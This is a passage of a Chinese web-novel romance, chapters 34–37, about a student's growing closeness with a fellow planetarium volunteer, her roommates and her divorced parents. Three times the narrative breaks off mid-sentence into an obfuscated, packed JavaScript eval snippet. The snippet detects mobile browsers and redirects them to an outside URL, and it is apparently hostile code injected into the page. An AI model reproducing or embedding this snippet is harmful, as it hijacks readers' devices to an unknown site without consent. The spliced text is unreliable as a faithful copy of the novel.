贺祁说完就起了身，怕他走了，夏汀禾直接拉住了他的手，握住了他的指尖。 “……我都还没回答呢。” 34. 发现 其实说完之后，贺祁的第一反应是慌乱，所以才立即起了身。 他也没明白自己怎么突然就有了这个想法。 不过比起莫名冒出想法的缘由，他心里似乎更在乎的是——夏汀禾会不会答应。 他不是不知道，夏汀禾在当着朋友面前和他避嫌。 但那又怎么样？ 他并不在意别人。 夏汀禾仍旧握着他，那样蹲在地上，微仰头看着他，又说了句：“我想你背我过去，可以吗？” 因为想睡觉了，她说话的时候都带着点撒娇似的鼻音。 “嗯。”贺祁直接全部扣住了她的手，咳了下别过脸说：“那先起来。” 夏汀禾被他牵着站起来。 因为太困了，眼睛都有些睁不开了。 直到走到他的背后，看着贺祁的肩膀时，夏汀禾才从昏昏沉沉的状态中倏地清醒过来。 她刚刚说什么了？是她说了要贺祁背她？ 她还抓住了他的手。 已经到这个地步了，夏汀禾也不好又回转心意，她只好硬着头皮把手放在了贺祁的肩上。 夏汀禾也是这时才知道，男生的身体似乎是偏硬朗的，骨骼感也会强很多。 正犹豫着怎么上去，宁苒一行人突然从酒吧门口出来。 “汀妹？你在哪呢？” 她扭头看向了这边，夏汀禾飞速地就把手收了回来。 “你们俩站哪干嘛？”宁苒近视，晚上看得并不十分清楚，略微眯了下眼睛，只见夏汀禾乖乖地把手放在了身后。 “没干嘛……”夏汀禾回了她，指尖似乎还在发烫。 她的声音听着没什么异样，宁苒也没多想：“哦，那走吧。你表哥把车停那边的车库了。” 夏汀禾点了点头，很快跟了上去。 回到民宿后，四个人像在大学里那样住一个房间，不过这里更方便点，她们直接可以睡在一张床上。 洗完了澡后，几个人早早躺在了被子上敷着面膜聊天。 黎穗先开了话题：“诶，你们有看学院群里发的消息吗？好像下学期就会公布保研相关的消息了，保研真的爽啊，不用准备考试。” 应忱帮着补充：“但是有夏令营，还是需要准备一下的。” 宁苒扶着额头回话：“而且按照之前的惯例，基本上是专业前几名的事，和我们没关系。” 说到这里，她突然起身：“不对，我们不行，但是汀妹和忱姐有希望啊，因为是算三年的综合成绩嘛。” 应忱摆了摆手：“我是打算直接工作的。” “你这么快就规划好啦？”宁苒有些震惊，因为自己还几乎没想过未来该怎么过。 大学生活比高中轻松一些，也总觉得自己才大二，二十岁而已，还不着急，所以从来没做过具体的打算。 她又问了黎穗，黎穗给的回答是：“可能考个教师资格证？我上次看学长学姐的秋招要我们专业的学校也挺多的。” 宁苒回过头来，看向了夏汀禾：“那你呢汀妹？” 因为有明确想学的专业，夏汀禾从一开始就确定要读研的。 从上次知道自己考了第一之后，她计算了下两年的综合成绩，大概能排到第三名左右。如果大三能继续维持，那么拿到保研名额去她想去的学校，基本上不成问题。 听完了三个室友的打算，宁苒瞬间摘了面膜，变成了苦瓜脸：“我都没想过以后要干嘛，工作和读研我都不喜欢。” 黎穗给她提供方向：“你可以尝试一下做博主，你剪辑、拍摄这些都很棒啊！” 宁苒幽怨地看着她：“那这和我在大学里学的有什么关系？” 黎穗：“……” 宁苒：“我每次期末周拼命做题背书又是为了什么？” 黎穗：“…………” 平日里宿舍最欢快的人安静下来，整个房间也就几乎没了声。夏汀禾在这时摘了面膜，拿了一张纸和一支笔，坐到了她身边。 “我们可以先分析一下，感兴趣的方向和最擅长的是什么，再结合选出最优解。” “就像这样。” 夏汀禾根据自己平日里对她的了解，认真写了几条。写完后，又觉得似乎插手了太多。 初高中性格过于内敛，学习也紧张，夏汀禾很少交到能够长久聊到一块的朋友，所以总是觉得自己把握不好和朋友相处的边界。 于是把纸递了过去后，夏汀禾小心翼翼地问宁苒：“你觉得这样可以吗？” 宁苒看着满满当当的字迹，几乎说不出话来，当即就抱了抱她。 “汀妹我真的太喜欢你了！” 尽管以前也偶尔会接收到室友这样的热情，但夏汀禾是第一次听到这么直白的、真诚的表达。 印象中，几乎没有人这么对她说过。 一时间怔愣了下，缓了一会儿，她才抬手拍了拍宁苒的背。 其他两个室友也同时给了安慰的话：“没事的，别着急。” “我们也只是随便说说而已啦，这不是还有两年才毕业嘛。” 宁苒这才被安抚好。 好不容易让气氛回到了开始，话题转眼就跳到了别处。 照例是黎穗先开的头：“所以今天晚上一起玩下来，你们觉得贺祁怎么样？” 听到某个人的名字，夏汀禾不得不又开始提了一口气。 宁苒这时候有心情搭话了：“和之前的印象差不多吧，很会玩的样子，不过人看着还不错。” 应忱也补了一句：“我和宁苒一样这么觉得，这人感觉很难摸透，界限感也强。” 夏汀禾躺在最边上，拿手机假装刷着，没说话，实际上也没看进去什么。 直到宁苒滚到了她身边，指尖绕着她的头发，边玩边说： “反正不管这人怎么样吧，总之对男的，暧昧上头可以，但是在他没表明态度之前，坚决别把他真放在心上。” 黎穗迎合了一声：“这点我赞同。” 应忱：“赞同。” 有了付言辞那段经历，她们都不再去劝夏汀禾太上心。有缘成了就成了，没缘分直接踹了，下一个更乖。 看夏汀禾还在认真地看手机，宁苒于是又凑到了她的耳边。 “有听到吗？小禾苗。” 夏汀禾蜷缩了一下手指，十分乖巧地“嗯”了一声。 - 因为室友的到来，次日夏汀禾又带着她们出去玩了一整天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672206|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晚上回来后倒头就睡，第二天早上听着闹钟铃响，她才想起来自己还有去天文馆当志愿者这回事。 迅速地把闹钟关了，夏汀禾走回自己的房间里洗漱换衣服。八点出门时，看到脖子上的项链，她又给贺祁发了条消息。 【你已经去天文馆了吗？】 这两天和室友玩得太开心，她都差点那天晚上的事。这时候给他发消息，才记起来在酒吧门口被宁苒打断后，贺祁也没说什么，只是脸上的神情显得有些不愉快。 【没】 贺祁在几分钟后回了她。 自觉那天晚上有些对不起他，夏汀禾于是又问：【那你要和我一起走吗？】 贺祁也没直接回答，只道：【门口】 两个人一起去的天文馆，照例做着日常的工作。 中场休息时，夏汀禾往他那边看了看，贺祁依旧还在和游客讲解，没停下来。 早上过来的路上贺祁没什么太大的变化，但夏汀禾就是觉得有些不对劲。 她想问他是不是生气了，只是又一直找不到机会。 又过了几分钟，贺祁终于走到一旁的休息椅上去拿水喝，夏汀禾这才过去找他。 然而还没穿过展厅中央，旁边突然蹿出一个扛着相机三脚架的男人，直直地奔着另外一个出口去。 他长得高大，完全没注意展厅里其他的小朋友。 转弯的那一下，眼看着三脚架的底部就要撞上旁边一个小朋友的脑袋，夏汀禾飞跑过去，猛地把伸手把人护在了怀里。 自己没及时躲避，“砰”的一声响，斜着的三脚架直接砸在了她的脚踝上。 疼的那一瞬间，夏汀禾眼眶里立即闪了泪花。 听到动静，闯祸的人这才停了下来道歉，周围的人纷纷围了过来。许是怕被指责，男人趁着人还没多少，迅速找了个空子跑了。 看到这一幕，小孩的父母立即过来询问夏汀禾有没有事。 “没事。”夏汀禾努力站直了些，“休息一下就好了。” 她还注意着维护天文馆的秩序，红着脸简单解释了几句，就让游客散开了。 等人走了她才蹲下来揉了揉脚踝。 是真的挺疼的。 好在她也习惯了自己忍着。 缓了一会儿后，夏汀禾再抬头一看，突然发现还有人没走。 顺着人影往上看。 是贺祁。 贺祁一直在那边看着她。他是第一个注意到的。 夏汀禾发现了，这人才走了过来。 “去那边坐着，擦点药。”他的语气一点都没有了平时的漫不经心。 冷着脸的模样莫名让人觉得有些生疏。 夏汀禾看了他一眼，好像是自己做错了事似的，底气不足道：“……我包里有药。” 之前在天文馆偶尔会遇到一些像今天这样的突发事件，所以夏汀禾一直带着药在身边。 “嗯，我去拿。” 他准备走，夏汀禾又叫住了他。 “那我怎么过去？” 贺祁一时间还没反应过来她的意思。 夏汀禾又可怜兮兮地看了他一眼，小声说： “你上次不是还说可以背我的么？” 35. 肩膀 说是说过，只是已经过期了。 贺祁没回答，就这么微低着头看着她。 周围人来人往的，好在他们俩站在不起眼的角落，也没人注意。 见他依旧没有动作，夏汀禾又伸手握住他的指尖，轻轻地晃了一下，像是小猫突然过来亲昵地蹭了蹭。 “不可以了吗？”夏汀禾又问了一遍。 感觉到手上传来的温度，贺祁无可奈何：“上来。” 夏汀禾被他拉着站起了身。 她小心翼翼地搭上贺祁的肩膀，虚搂着他的脖颈，接着就被贺祁提了一下，直接趴在了他背上。 天文馆内空调开得很足，很凉快，穿堂风吹来时，碎发轻轻拂过贺祁的身上，夏汀禾感觉到心脏在飞速地跳动。 去拿药的路上，要经过人流量最大的展馆。 怕被人看到，目光聚集在自己身上，夏汀禾完全是低着头的，压根不敢往两边看。 不经意间脸碰到了贺祁，她有意往后仰了下，拉开自己和他的距离。 被人察觉了，夏汀禾解释说：“我今天化妆了，粉底液可能会蹭到你身上。” 不知道是哪句话戳中了贺祁，这人突然又笑了起来，懒洋洋地回应说：“蹭了蹭也没事，回去洗了不就行了？” “……哦。” 夏汀禾这才放心地往前靠。 脚踝发疼，她偶尔会没控制住，稍微越过了距离。 她的脸颊会不经意蹭上贺祁的耳尖、脸或者是脖颈。 后半程路突然没人说话了。 他们俩的耳朵都红了。 - 夏汀禾大厅的椅子上坐着，贺祁则去储物柜那边拿药。 低头看了下脚踝，脑海中又不由得浮现出贺祁背她的画面，夏汀禾往后收了收脚，掩饰般地看向了四周。 她没想到在这里又一次看见了祝朝月。 这次她并没有行色匆匆，只是个普通来参观的游客，正对照着地图在寻找着什么。 夏汀禾直接喊了她：“朝月！” 听到声响，祝朝月环顾周围找了一圈，夏汀禾朝她招了招手，她很快就走了过来。 “我刚还以为是我听错了呢，没想到真有人叫我。”祝朝月收了手机，在她旁边坐下。 印象中夏汀禾是不会在公共场合这么大声地喊人的。 夏汀禾其实也被自己的举动惊讶了一会儿，不过做完之后，发现原来真的没人关注，她这才放心了下来。 “梁浩是去别的展厅了吗？”夏汀禾看她刚才在的那块地方也没有梁浩的影子。 “不是。”祝朝月笑了笑，“我一个人来的。” “一个人？” 夏汀禾记得上次梁浩还和她打听天文馆的事，说是因为祝朝月想去。 他当时还计划了挺久，认真写了份攻略后，还给夏汀禾看了眼问她有没有什么其他的建议。 夏汀禾指出来他选的一家餐厅口味偏重，程度和那天早上祝朝月给他带的早餐差不多，他应该不会喜欢。 梁浩没放在心上，只摆了摆手回应说：“没事，朝月喜欢就行。” “对啊。”祝朝月点了点头，爽快地回答了：“自己来逛不是更舒服么？想去哪去哪。” 夏汀禾原本还想把梁浩准备的这些事告诉她，但在听到祝朝月这么解释之后，她又有点不好意思说了，只委婉地提了一嘴： “因为上次梁浩说你想去，还做了一些攻略，所以我以为你们会一起的。不过一个人逛确实更加自在些。” 祝朝月这次只笑了下，当作是回答。 她们没能聊太久，祝朝月很快接到了家里人的电话，和她告了别离开了。 她脸上的笑容似乎消失了，取而代之的是凝重的神色。 夏汀禾望着她出去的方向看了一会儿，直到贺祁回来。 他拿了一瓶喷雾。 没等夏汀禾说，贺祁直接在她面前蹲了下来，撩开了她的裤脚。 不习惯和人这么亲密的动作，夏汀禾下意识地想要往后缩，但还是忍住了。 贺祁没注意她已经开始有些紧张，只垂眸看着伤口处。 她的脚踝细且白嫩，但被三脚架撞击后红了一片，还隐约有要肿的迹象。 贺祁皱了下眉，很快开了喷雾瓶盖，帮她上了药。 喷雾洒出来的药水是冰凉的，夏汀禾这下没忍住了，动了动脚踝。 “很疼？”贺祁立刻停止了动作，抬头问她。 “不是。”夏汀禾红着脸摇了摇头，“……有点痒。” 确认不是别的原因，贺祁这才松了口气，安抚说：“喷几下就好了，很快。” 喷雾确实方便，这也是夏汀禾带它的理由。 只是喷完之后，要揉开抹匀。 贺祁显然也意识到了这点，在盖上瓶盖之后，就没再继续动作了。 夏汀禾赶紧接话：“我自己来就行了。” “……噢。”贺祁慢半拍地应了一声，又自己都不知道自己在说什么地加了一句：“我把药放回去。” 他少见地变得不自在起来。 夏汀禾也是。 - 兴许是伤口处理得及时，一直到了晚上，夏汀禾也没感觉到脚踝处有明显的不适。 晚餐是说好在舅舅家吃的，于是夏汀禾没和贺祁一起回民宿，直接回了家。 只是她推门进去后，却感觉到气氛异常的低沉，她一句打招呼的话都卡在嘴里没说出来。 客厅里很安静，舅舅和舅妈坐在沙发上，对面是蔺妤。 “妈妈？”夏汀禾愣了下，再往里面看了下，发现还多了个人。 夏景年也在。 他穿着和往常一样的白衬衫和西裤，要不是脸上挂了彩，夏汀禾也不会发现出异样。 听见动静了，几个人都朝她看了过来，是舅妈先喊的她：“汀禾回来啦？过来吃饭吧。” 夏汀禾不知道发生了什么事，全程茫然地坐在了蔺妤和夏景年的中间，默不作声地开始夹菜吃饭。 饭桌上没有人讲话，往常话多的蔺回绪都变得格外沉默。 这种场景是夏汀禾习惯了的，也没觉得有多奇怪。 直到一餐饭快要结束时，蔺妤忽地开口：“以后别插手我的事，你自己几斤几两也不知道？打得过人家么？” 没人回应，但也都知道是在说谁。 她爸爸和人打架了？ 夏汀禾有些不敢相信。 夏景年一直都是斯文君子，能以理服人的事绝对不会和人争吵，不能也会耐心地和对方解释自己观点看法。 他是绝对不会动手的。 夏汀禾从小到大也没见过。 蔺妤吃完最后一口，站起了身往对面自己家走去，临走前对着夏景年道：“你吃完饭就回去吧，我还有事要忙，就不送了。” 她走了，夏汀禾和舅舅舅妈也不好再说什么。 夏景年大抵也自觉出来还待在这里就会显得不合适，随便扒拉了两下碗里的饭，又随口问了两三句夏汀禾的事，就离开了。 在他走了之后，夏汀禾才从舅舅那里知道事情的全部过程。 是她妈妈出去应酬，碰上了之前暗恋她的一个男人，当时蔺妤拒绝了他选择了夏景年，那人就一直怀恨在心。 如今男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686905|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转眼走大运当上了老板，成为了蔺妤的甲方，饭局上正事不谈，却三言两语地贬低起蔺妤离婚的事。 三个人是同学，朋友圈都是共同的，这事很快传到了夏景年那。 夏景年直接去了他的公司，名义上是去看望老同学，等进了办公室，两人单独见面，夏景年一句话没说，直接给他揍了一顿。 男人是常年混社会的，一身力气没处使，夏景年自然是打不过的，后来是有人听到动静了，劝了架，这事才停息下来。 蔺妤赶到的时候，看见的就是头发混乱、衣衫不整的夏景年。 出于可怜的心情，她便带着他回了家换衣服吃饭。 于是也就有了夏汀禾进门时看到的那一幕。 “你爸爸他是不是还对你妈有感情的？”舅妈若有所思地问了句。 夏汀禾还没回答，蔺回绪已经先接了话：“有个屁，他要是真有良心，当初就不会和我姐提离婚了。” “现在知道装了？孩子都二十岁了，能有什么用？” 蔺回绪是看不得亲姐受一点委屈的，不管夏景年怎么做，他就是看不起。 然而转眼瞥到了夏汀禾，他又稍稍收了点语气。 再怎么说都是夏汀禾的爸爸，他怕说重了，夏汀禾会伤心，只好把一肚子的气又憋了回去。 帮着舅妈收拾了碗筷后，夏汀禾回到了家。 出乎她的意料，蔺妤没在工作，而是靠在沙发上看电视。 看到她进来，蔺妤指了下冰箱，淡淡道：“冰箱里有蛋糕，我下班路上买的。” 夏汀禾打开看了看，是她之前无意间和蔺妤提过一次的那家蛋糕店的。 饭后总会有点想吃甜品，夏汀禾切了一块后，又想起来什么，从厨房里探出头喊了一声： “妈妈。” 蔺妤把视线从电视屏幕挪到了夏汀禾身上。 夏汀禾举了下蛋糕，问：“你要吃吗？” 蔺妤平日里控糖，很少吃这类甜食，不过今天，在夏汀禾这么问了之后，她点了点头。 “一小块就行，不切太多。” 她的表情依旧是淡漠的，但这样的回应就已经足够让夏汀禾感到高兴。 她旋转了下蛋糕，特意挑了水果多的地方帮蔺妤切了一块。 母女俩一起坐在客厅里，看着电视把蛋糕吃完了。吃到后面，味道其实有些腻了，不过并不妨碍夏汀禾觉得是最好吃的。 洗完澡后夏汀禾赶去民宿那边见室友。还没上楼，她先在楼道里碰到了贺祁。 或许是太想找人分享，她直接跑了过去，和贺祁说了很多今天晚上的事，告诉他今天她是和爸爸妈妈一起吃的，而且蔺妤还给她买了蛋糕，和她一起看了电视。 贺祁听着她把这些讲完，正想回点什么，蔺澈突然出现在拐角处。 夏汀禾也不知道自己为什么要躲，总之她就是瞬间躲在了贺祁的身后。 贺祁比她大一圈，正好可以完全挡住她。 蔺澈这时候望过来：“诶，贺祁，你有看到我妹吗？” 贺祁正欲开口，又感觉到身后的人拽了拽他后腰的衣摆，不自觉地勾了下嘴角，他回复道：“没有。” 蔺澈点了点头，也没继续问了，抬脚就往下走，只是忽地想起了什么，又回过头来，说：“哦，对了，你衣服好像脏了，有一块白的。” 他指了指贺祁肩膀上的位置。 夏汀禾立即反应过来他说的是什么。 “可能是你刚不小心蹭了白墙吧。”蔺澈又说。 贺祁笑了下，感觉到身后抓得越来越紧，漫不经心道： “嗯，应该是吧。” 36. 路口 等蔺澈走了，夏汀禾才从贺祁身后出来。 “躲什么？”贺祁看着她问。 他脸上是带着笑的，像是好奇，不过更像是早就知道了答案，想听她的一个回应而已。 然而夏汀禾想不出解释的话来。 她只能装作没听清，说了句室友找自己了就快速地跑开了。 套房的门是开着的，许是宁苒或者是黎穗下去又上来后忘记关了。夏汀禾进去时就看到了她们躺在沙发上聊天。 “学校官网更新新闻了，发了一条交换生的诶。”黎穗划动着手机，看到后立即给了宁苒分享。 “他们过去一周了吧，我看看。”宁苒凑了过去。 “诶，付言辞居然也愿意出境的么？看样子还是他自己配合的。他以前不是学校新媒体部专门找他采访，都不肯吗？” “算了不看了，这男的伤害我们汀妹，我们还关注他干嘛？” 察觉到有人进门，两个人同时看过来，发现是夏汀禾之后，立即收起了话。 黎穗把手机都熄了屏，直接扔在了床上，结结巴巴地扯开话题：“……汀妹，你吃完晚饭啦？” 夏汀禾其实并不介意她们讨论付言辞的事。要不是今天听到，她好像都快要忘记了。 忘记了付言辞在一周之前出了国。 忘记她在不久前表了白。 “嗯。”夏汀禾点了点头，也装作什么都没听到一样，走过去坐在她们身边，问：“今天晚上你们有什么想去玩的地方吗？” 室友住在这里的几天，夏汀禾作息最大的变化就是每天睡觉时间点推迟了。白天她要去天文馆，回来吃完了晚饭也只有晚上的时间和她们一起。 三个人也就等着她这段时间。 “去打球？”应忱先提了出来：“我看到附近好像有羽毛球馆。” “羽毛球？”宁苒直接从沙发上蹦了起来，“好啊，我正好带了一套运动装还没穿。” “那我现在去换衣服。” 晚餐吃得有点多了，夏汀禾也想运动一下消消食。虽然她本来的计划是散步就够了，但和室友在一起，做什么总是开心的。 几个人迅速决定下来，换了衣服后就赶去了球馆。 等到球馆门口，看到里面的场景时，夏汀禾顿时想起来了——这是上次她和贺祁一起来过的那家。 “汀妹？你看什么呢？”宁苒见她一直望着，没进去，又后退了几步过来拉她的手。 夏汀禾迅速摇头。 她想着，贺祁这个时间点应该不会过来这里。 他一个人没办法玩，而且和被人打，说不定又会被嫌弃。 被宁苒拉着去了场地，四个人正好两两组队，乏了就换人，打得十分尽兴。半小时玩下来，夏汀禾意外地没觉得累，反而挺精神。 “感觉汀妹的球技有提高诶。”中场休息，宁苒边喝着水边对她竖起了大拇指，“已经可以超过穗穗了。” 黎穗心态爆炸地对宁苒握紧了拳头：“我发誓，刚才没接到球只是一时没发挥好行吗？” “不过汀妹真的变厉害了耶，实话实说，是不是背着我们偷偷练习了？” 被三个人围着，夏汀禾只好略过了一些细节，只说：“就是偶尔会过来这里打一下……” 宁苒理所当然地以为她是和家人一起打的，毕竟照夏汀禾的性子，也不可能和陌生人约。 她们正聊着天，旁边忽地有人走过来，十分热情地问：“嗨，看你们打得挺不错的，要一起PK一下吗？” 听到熟悉的声音，夏汀禾先看了过去。 没想到居然是上次和她吐槽贺祁球技的那个男生。 对视了一眼后，夏汀禾立即就往后退了点，低下了头装作在玩手机，努力不让对方发现自己。 应该不会认出来吧？都过去了这么久了。 这人看着是每天都来球馆的，一天见这么多人，应该也不会记得她一个球技平平的人。 邀着一起玩这种事在球场上并不少见，而且对方的这一句话就直接激起了宁苒的好胜心。她想也没想，就答应了。 “可以啊，四对四是吧？我看你们那边也正好有四个人。” 对方耸了耸肩：“来吧。” “我……”夏汀禾想拒绝的话都没来得及说出口。 宁苒已经兴致冲冲地跑去大场地那边了，黎穗这时过来问：“汀妹你刚刚想说什么？” 似乎是察觉到了什么，走在她们前面的男生突然回了下头，视线落在了她身上。 夏汀禾立即侧了下脸，小声回应说：“……没什么，我就是想问我们几点回去。” 黎穗心大，也没发现她的紧张，爽快道：“和他们打完这一场就回去，怎么样？你是不是有点累了？” 夏汀禾实际上也没太听清楚她说了什么，胡乱地点了点头，等那男生走远了，她才松了口气。 好在对打时，夏汀禾的对手也不是那男生。他们隔得远，对方也没再往这边瞧。 半小时后结束，累计分数下来，两方差不多打了个平手。 这也正常，应忱是高手，之前还有意向培养这一方面的特长，平日里和她们一起玩，也会教她们一些技巧。 作为一个不怎么爱运动的人，夏汀禾有一大半的理论知识都是从她那学来的。 一晚上打了两场球，夏汀禾的体力几乎耗尽。室友也疲惫起来，和对面约好了下次后就开始收拾东西准备回去。 夏汀禾正放空地擦羽毛球拍。 那男生和宁苒说完了话后，突然又看向了她：“诶，夏汀禾，你这个朋友可比你上次带过来的那男的厉害多了哦。下次要是还是你们来，有需要记得叫上我，我随时奉陪。” 夏汀禾猛地回过神来。 毫不意外，等到男生走了，三个人立即围上了她。 “男的？我没听错吧汀妹？” “不会又是你表哥吧？” “不可能，要是是蔺澈的话，汀妹刚才肯定就直接说是谁了！” 夏汀禾被问得不知所措，正打算又拿蔺澈来挡枪，宁苒站在旁边补了句：“对了，汀妹，上次你说是和你表哥一起去的餐厅，后来我问了他，他说没有哦。” 这无疑是添油加醋的一句。 其余的两个人更加盯紧了她一些。 夏汀禾并不擅长说谎，也不喜欢每次都这样对室友，于是被她们追问了几句，她就坦白了。 “是……”她停顿了下，深呼了一口气，温声道：“……是贺、贺祁。” 听到她的回答，三个人更加兴奋了。 “贺祁？” “住我们楼上的那个贺祁？！” “他约的你还是你约的他啊？你们俩什么时候的事？我居然都不知道。” …… 问题瞬间翻倍了，夏汀禾只好一一回答了。 宁苒越听越来劲，还打算继续问下去，结果一转眼想到了之前的事，立即又泄了气。 “诶，算了，男的都一样，上次那个谁还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699705|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是也约了我们汀妹打球，结果呢？” 黎穗也被她说得冷静了下来：“也是哦。” “反正汀妹你在他表明心意之前，千万太上心，男的最会这一套了。” - 回到家洗完澡后，夏汀禾坐在书桌前看书，无意间翻到上次面试天文馆的稿子，她又想起了宁苒最后说的话。 的确，她和贺祁做的这些事，好像也并不能说明什么。 尤其是还已经有过了一次失败案例。 这么想着，夏汀禾鬼使神差地打开了电脑，自然而然地登进了学校官网。 交换生的那条新闻依旧还在最上面，占据了三分之一的版面，滚动播放着。 付言辞就在合照的最后一排。 太过于熟悉他的身形，夏汀禾还是很快就找到了他。 付言辞脸上是一如既往的冷淡，只是眼里似乎掺杂了许多情绪。 莫名地，看到这张照片，夏汀禾感觉自己好像在和他对视。 他总是有很多说不出口的话，喜欢把事藏在心里。从高中时就是如此，现在似乎也一样。 夏汀禾不记得自己后来是怎么睡着的了，总之睡前她打开了和付言辞的聊天对话框，在翻看以前的记录时，隐隐约约好像看到了上方的备注显示变成了正在输入。 醒来后她打开检查，却又感觉是自己看错了。 并没有消息发过来。 天文馆志愿者的工作时长是三周。最后一天过去时，夏汀禾从祝朝月那里得知他们马上就要开学了。 她和贺祁、梁浩是一个学校的，也就意味着贺祁也是。 志愿者工作结束的那天下午，夏汀禾把工作服整理好归还回去。 捧在手心上，看着红色的马甲和上面的工牌时，夏汀禾心里其实挺不舍的。 这是她第一次这么长时间的接触和天文有关的东西，很特别、很有意义。 而且和某个人待在一块儿，也一直都很高兴。 两个人并肩走着，少见的，也没谁开口说话。 直到快要到交还处时，夏汀禾偏过头问：“你明天是要走了吗？” 贺祁像是在想什么事，被她猝不及防地一问后，迟疑了下才回应说：“嗯，后天开学。” 他是一贯漫不经心的模样，看着也不像是会在意别的。 夏汀禾感觉到自己心里其实还有其他的要说，不过最后还完了东西，也没能说出口。 出了天文馆，站在路口上。过了高峰期，马路上的行人和车辆都在减少，天边的最后一抹余晖也逐渐消失不见。 夏汀禾是要回家的。 他们并不同路。 两个人不约而同地在门口的台阶上站了一会儿。 等到身后的展馆都传来关门的声响，夏汀禾才看着被路灯照亮的地面，温吞地说：“那我回去了。” 贺祁买的是明天早上的机票。 不出意外，夏汀禾也赶不及过去见他。 “嗯。”贺祁看着她点了点头，和平常一样叮嘱说：“路上注意点。” 夏汀禾：“哦。” 没等到想要的回答，夏汀禾应了一声就下了台阶，往另一个方向去。 只是在她又慢慢地下了一层台阶时，有人拉住了她的手腕。 “夏汀禾。” 他的语速比平时快了些。 她回过头看向贺祁。 贺祁和她对视着，喉结滚动了下，问： “回去后还来找我么？” 37. 找人 这时天文馆的工作人员下了班，陆陆续续从侧门出来。身后传来谈话声，怕她尴尬，贺祁很快又松开了手。 夏汀禾仍旧在发愣，似乎是没想到他会这么做。 不过其实贺祁也一样。 他从来没有这样问过别人。 贺祁并不习惯去挽留。 因为知道没有用。 就算他说了，也没有人会跳出自己原有的规划轨迹，陪在他的身边。 视线落在夏汀禾身上，看着她低头，露出有些为难的神色。 贺祁太熟悉这种表情了。 躁动的心慢慢平静下来，他笑了下，没想让夏汀禾为难，拐了弯说：“开玩笑的，你不用……” “为什么总是我去找你？”夏汀禾抿了下唇，回应了他。 贺祁后半截话突然就被卡在了嘴边，没能说出来。 这和他想的不一样。 说完，夏汀禾觉得自己挺有道理的，又大着胆子补了一句：“……你就不能来找我么？” 他们俩的大学其实离得不算太远，在同一个市内，地铁一小时就可以到对方那去。 只是夏汀禾很少出门，即便是出去，也就顶多是在学校附近逛逛。 隔了一会儿没等到回答，夏汀禾抬头看过去，却发现贺祁笑了起来。 这人不知道又想到了什么，笑得这么开心。 旁边有人蹿过，贺祁往她这儿靠了点，声音在她耳边响起：“没说不行啊。你答应的话，我也可以去找你。” 他说得很肯定，夏汀禾心里的别扭一下子就消失了。 她其实也不知道自己为什么刚才会突然冒出那样的想法，但就是想要贺祁把她当成特别的，遵从她的意见。 问的问题被立即回应了，夏汀禾一时间想不出来别的，只顺着感觉道：“那什么时候？” 话落，她又觉得有点闹脾气的意思了。她和贺祁还什么都不是，也没有资格这么要求别人。 她想要收回，贺祁已经回了她：“等你一回学校，就过去找你，行么？” 他的神情并不像是在开玩笑。 他很认真地说着这些，眼神热烈且坦荡。 让夏汀禾都有些慌乱了。 - 那天下午夏汀禾不知道自己是怎么道了别离开的，总之回到家之后，脸颊都还是热的。 她坐在客厅里打开风扇吹，想降降温，结果等到蔺妤下班回家，都没能缓过来。 第二天她照常过去民宿，贺祁果然已经离开了。 “他早上七点就走了。”见夏汀禾从楼上下来，罗欣先迎了上来说。 “嗯，我知道。” 晚上他们聊天的时候，贺祁告诉她了。她只是过来吃早餐，顺便就上了楼去看看。 以为她在难过，罗欣搭了下她的肩膀，问：“我打算下个月请一周的假回家看看我爸妈，到时候你要去我们家玩不？” 罗欣的爸妈就住在夏汀禾的大学那块地方，挨着校外的快递站。 夏汀禾忽地想起她第一次碰见贺祁，似乎就是在那附近。 看她愣着神，罗欣又晃了晃她的手，催促似的说：“虽然我爸妈都还没见过你，但他们听我讲了之后，都可喜欢你了。” 招架不住她的热情，夏汀禾答应了，罗欣这才放过她。 实际上夏汀禾也没等太久就回了学校。 收拾行李出发的前一天晚上，蔺妤也在家。 看她忙前忙后的，蔺妤坐在沙发上一边敲电脑一边问她：“你这学期怎么开学这么早？” 开学时间其实和往年是差不多的，只是夏汀禾以前会挑最后一天过去，现在选了最早的。 被妈妈问了，夏汀禾倏地停下了手中的活。怕被看出异样，又很快继续了动作，假装不经意地说： “……我和室友想在上课前出去玩，所以提前了一点。” 蔺妤从来不认为自己的女儿会撒谎，听完她的解释也没再追问。 夏汀禾这才松了口气，继续做自己的事。 直到她收拾好了所有东西，拉上了行李箱拉链。一直安静着的蔺妤突然发话：“明天早上我送你去机场？” 屋子里只有她们两个，十分安静，她这句话很清楚地传到了夏汀禾的耳里。 手还搭载行李箱上没放下来，夏汀禾先回过了头看向客厅。 蔺妤正低着头在和客户发消息。 